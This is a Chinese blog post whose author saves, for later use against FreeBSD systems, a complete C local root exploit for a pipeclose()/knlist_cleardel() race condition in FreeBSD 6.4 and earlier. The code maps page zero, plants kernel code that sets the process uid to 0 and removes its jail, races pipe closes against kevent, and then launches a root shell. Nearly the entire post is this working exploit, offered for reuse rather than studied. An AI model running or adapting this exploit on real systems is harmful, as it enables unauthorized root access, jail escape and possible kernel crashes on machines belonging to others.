墓静而思绪,人静则心死! 注册 | 登陆

FreeBSD 6.4 rootshell exploit 0day

 

XML/HTML代码
  1. 做为记录,,以后遇到Fb OS的时候可以试试....   
  2.   
  3. #if 0   
  4. FreeBSD 6.4 and below are vulnerable to race condition between pipeclose() and   
  5. knlist_cleardel() resulting in NULL pointer dereference. The following code   
  6. exploits vulnerability to run code in kernel mode, giving root shell and   
  7. escaping from jail.   
  8. #endif   
  9.   
  10. /* 29.08.2009, babcia padlina   
  11. * FreeBSD <= 6.4 pipeclose()/knlist_cleardel() race condition   
  12. *   
  13. * works only on multiprocessor systems   
  14. * gcc -o padlina2 padlina2.c -lpthread   
  15. */   
  16.   
  17. #define _KERNEL   
  18.   
  19. #include <sys/types.h>  
  20. #include <stdio.h>  
  21. #include <unistd.h>  
  22. #include <sys/event.h>  
  23. #include <sys/timespec.h>  
  24. #include <pthread.h>  
  25. #include <fcntl.h>  
  26. #include <string.h>  
  27. #include <stdlib.h>  
  28. #include <sys/mman.h>  
  29. #include <sys/param.h>  
  30. #include <sys/linker.h>  
  31. #include <sys/proc.h>  
  32.   
  33. int fd[2], kq;   
  34. struct kevent kev, ke[2];   
  35. struct timespec timeout;   
  36. volatile int gotroot = 0;   
  37.   
  38. static void kernel_code(void) {   
  39.     struct thread *thread;   
  40.     gotroot = 1;   
  41.     asm(   
  42.         "movl %%fs:0, %0"   
  43.         : "=r"(thread)   
  44.     );   
  45.     thread->td_proc->p_ucred->cr_uid = 0;   
  46.     thread->td_proc->p_ucred->cr_prison = NULL;   
  47.   
  48.     return;   
  49. }   
  50.   
  51. static void code_end(void) {   
  52.     return;   
  53. }   
  54.   
  55. void do_thread(void) {   
  56.     while (!gotroot) {   
  57.         if (pipe(fd) < 0)   
  58.             perror("pipe");   
  59.         memset(&kev, 0, sizeof(kev));   
  60.         EV_SET(&kev, fd[0], EVFILT_READ, EV_ADD | EV_CLEAR, 0, 0, NULL);   
  61.         EV_SET(&kev, fd[1], EVFILT_WRITE, EV_ADD | EV_CLEAR, 0, 0, NULL);   
  62.   
  63.         if (kevent(kq, &kev, 2, &ke, 2, &timeout) < 0)   
  64.             perror("kevent");   
  65.   
  66.         close(fd[0]);   
  67.         close(fd[1]);   
  68.     }   
  69.   
  70.     return;   
  71. }   
  72.   
  73. void do_thread2(void) {   
  74.     usleep(100);   
  75.     while(!gotroot) {   
  76.         close(fd[0]);   
  77.         close(fd[1]);   
  78.     }   
  79.   
  80.     return;   
  81. }   
  82.   
  83. int main(void) {   
  84.     int i;   
  85.     pthread_t pth, pth2;   
  86.   
  87.     if (!getuid() || !geteuid()) {   
  88.         printf("already root.\n");   
  89.         exit(-1);   
  90.     }   
  91.   
  92.     printf("BEWARE! this exploit isn't 100%% reliable. successful exploitation\n"   
  93.         "may cause kernel memory corruption leading to system crash.\n"   
  94.         "it is also possible, that exploit will hang and such process\n"   
  95.         "will be unkillable. hit enter if you want to continue.\n");   
  96.   
  97.     getchar();   
  98.   
  99.     /* safe landing place for 6.4-RELEASE - it protects us from page fault   
  100.        due to invalid read */   
  101.   
  102.     if (mmap((void *)0x408b0000, 0x4000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {   
  103.         perror("mmap");   
  104.         exit(-1);   
  105.     }   
  106.   
  107.     if (mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {   
  108.         perror("mmap");   
  109.         exit(-1);   
  110.     }   
  111.   
  112.     memcpy(0, &kernel_code, &code_end - &kernel_code);   
  113.   
  114.     if ((kq = kqueue()) < 0) {   
  115.         perror("kqueue");   
  116.         exit(-1);   
  117.     }   
  118.   
  119.     pthread_create(&pth, NULL, (void *)do_thread, NULL);   
  120.     pthread_create(&pth2, NULL, (void *)do_thread2, NULL);   
  121.   
  122.     timeout.tv_sec = 0;   
  123.     timeout.tv_nsec = 1;   
  124.   
  125.     printf("waiting for root... it should take no more than few seconds.\n"   
  126.          "otherwise, run exploit again.\n");   
  127.     i = 0;   
  128.   
  129.     while (!gotroot && i++ < 4000)   
  130.         usleep(100);   
  131.   
  132.     setuid(0);   
  133.   
  134.     if (getuid()) {   
  135.         printf("failed. on unpatched systems, the exploit will be unkillable from now. try again.\n");   
  136.         exit(-1);   
  137.     }   
  138.   
  139.     execl("/bin/sh", "sh", NULL);   
  140.   
  141.     return 0;   
  142. }   
  143.     

« 上一篇 | 下一篇 »

Trackbacks

点击获得Trackback地址,Encode: UTF-8

发表评论

评论内容 (必填):